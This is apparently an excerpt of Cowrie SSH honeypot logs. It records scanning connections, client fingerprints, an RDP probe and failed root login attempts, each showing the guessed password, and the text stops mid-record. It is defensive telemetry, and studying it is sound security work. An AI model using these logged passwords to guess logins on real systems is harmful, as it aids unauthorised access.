{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:12.302506Z","src_ip":"157.230.190.155","session":"eac245f9049b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:12.307358Z","src_ip":"157.230.190.155","session":"eac245f9049b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bigdata","message":"login attempt [root/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:12.358157Z","src_ip":"157.230.190.155","session":"eac245f9049b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:13.367306Z","src_ip":"157.230.190.155","session":"eac245f9049b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.71.92","src_port":41918,"dst_ip":"10.17.0.5","dst_port":22,"session":"983232b25294","protocol":"ssh","message":"New connection: 43.134.71.92:41918 (10.17.0.5:22) [session: 983232b25294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:13.474999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:13.480072Z","src_ip":"43.134.71.92","session":"983232b25294","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:13.717455Z","src_ip":"43.134.71.92","session":"983232b25294","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Os3leni*","message":"login attempt [root/Os3leni*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:14.698362Z","src_ip":"43.134.71.92","session":"983232b25294","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:15.939127Z","src_ip":"43.134.71.92","session":"983232b25294","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":54942,"dst_ip":"10.17.0.5","dst_port":22,"session":"b65bbb89a545","protocol":"ssh","message":"New connection: 189.203.163.10:54942 (10.17.0.5:22) [session: b65bbb89a545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:19.319891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:19.323891Z","src_ip":"189.203.163.10","session":"b65bbb89a545","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:19.387138Z","src_ip":"189.203.163.10","session":"b65bbb89a545","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx#","message":"login attempt [root/1qaz2wsx#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:19.670169Z","src_ip":"189.203.163.10","session":"b65bbb89a545","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:20.737094Z","src_ip":"189.203.163.10","session":"b65bbb89a545","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.84.242","src_port":43070,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a4da18dd3b4","protocol":"ssh","message":"New connection: 103.249.84.242:43070 (10.17.0.5:22) [session: 5a4da18dd3b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:27.156213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:27.161355Z","src_ip":"103.249.84.242","session":"5a4da18dd3b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:27.393858Z","src_ip":"103.249.84.242","session":"5a4da18dd3b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"config","message":"login attempt [root/config] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:28.354317Z","src_ip":"103.249.84.242","session":"5a4da18dd3b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:29.592477Z","src_ip":"103.249.84.242","session":"5a4da18dd3b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":58878,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e1912ee64d5","protocol":"ssh","message":"New connection: 147.45.199.80:58878 (10.17.0.5:22) [session: 4e1912ee64d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:33.495939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:33.500869Z","src_ip":"147.45.199.80","session":"4e1912ee64d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:33.600830Z","src_ip":"147.45.199.80","session":"4e1912ee64d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"black","message":"login attempt [root/black] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:33.899619Z","src_ip":"147.45.199.80","session":"4e1912ee64d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:35.002471Z","src_ip":"147.45.199.80","session":"4e1912ee64d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":53264,"dst_ip":"10.17.0.5","dst_port":22,"session":"058ff0dc194f","protocol":"ssh","message":"New connection: 103.75.183.219:53264 (10.17.0.5:22) [session: 058ff0dc194f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:47.133153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:47.137905Z","src_ip":"103.75.183.219","session":"058ff0dc194f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:47.387593Z","src_ip":"103.75.183.219","session":"058ff0dc194f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678900","message":"login attempt [root/12345678900] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:48.135585Z","src_ip":"103.75.183.219","session":"058ff0dc194f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:49.390555Z","src_ip":"103.75.183.219","session":"058ff0dc194f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.119.212.99","src_port":56804,"dst_ip":"10.17.0.5","dst_port":22,"session":"80fd123f1511","protocol":"ssh","message":"New connection: 45.119.212.99:56804 (10.17.0.5:22) [session: 80fd123f1511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:07.929117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:07.934749Z","src_ip":"45.119.212.99","session":"80fd123f1511","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:08.259028Z","src_ip":"45.119.212.99","session":"80fd123f1511","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111a","message":"login attempt [root/111111a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:09.430574Z","src_ip":"45.119.212.99","session":"80fd123f1511","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:10.808069Z","src_ip":"45.119.212.99","session":"80fd123f1511","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.127.197.59","src_port":59572,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bd494575c84","protocol":"ssh","message":"New connection: 89.127.197.59:59572 (10.17.0.5:22) [session: 7bd494575c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:18.818165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:18.822387Z","src_ip":"89.127.197.59","session":"7bd494575c84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:18.946525Z","src_ip":"89.127.197.59","session":"7bd494575c84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":52226,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3f11b605580","protocol":"ssh","message":"New connection: 152.42.212.128:52226 (10.17.0.5:22) [session: d3f11b605580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:19.044595Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:19.052443Z","src_ip":"152.42.212.128","session":"d3f11b605580","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:19.055566Z","src_ip":"152.42.212.128","session":"d3f11b605580","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"porquinho","message":"login attempt [root/porquinho] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:19.476087Z","src_ip":"89.127.197.59","session":"7bd494575c84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":49572,"dst_ip":"10.17.0.5","dst_port":22,"session":"44632703a07b","protocol":"ssh","message":"New connection: 176.32.39.21:49572 (10.17.0.5:22) [session: 44632703a07b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:19.523470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:19.528565Z","src_ip":"176.32.39.21","session":"44632703a07b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecds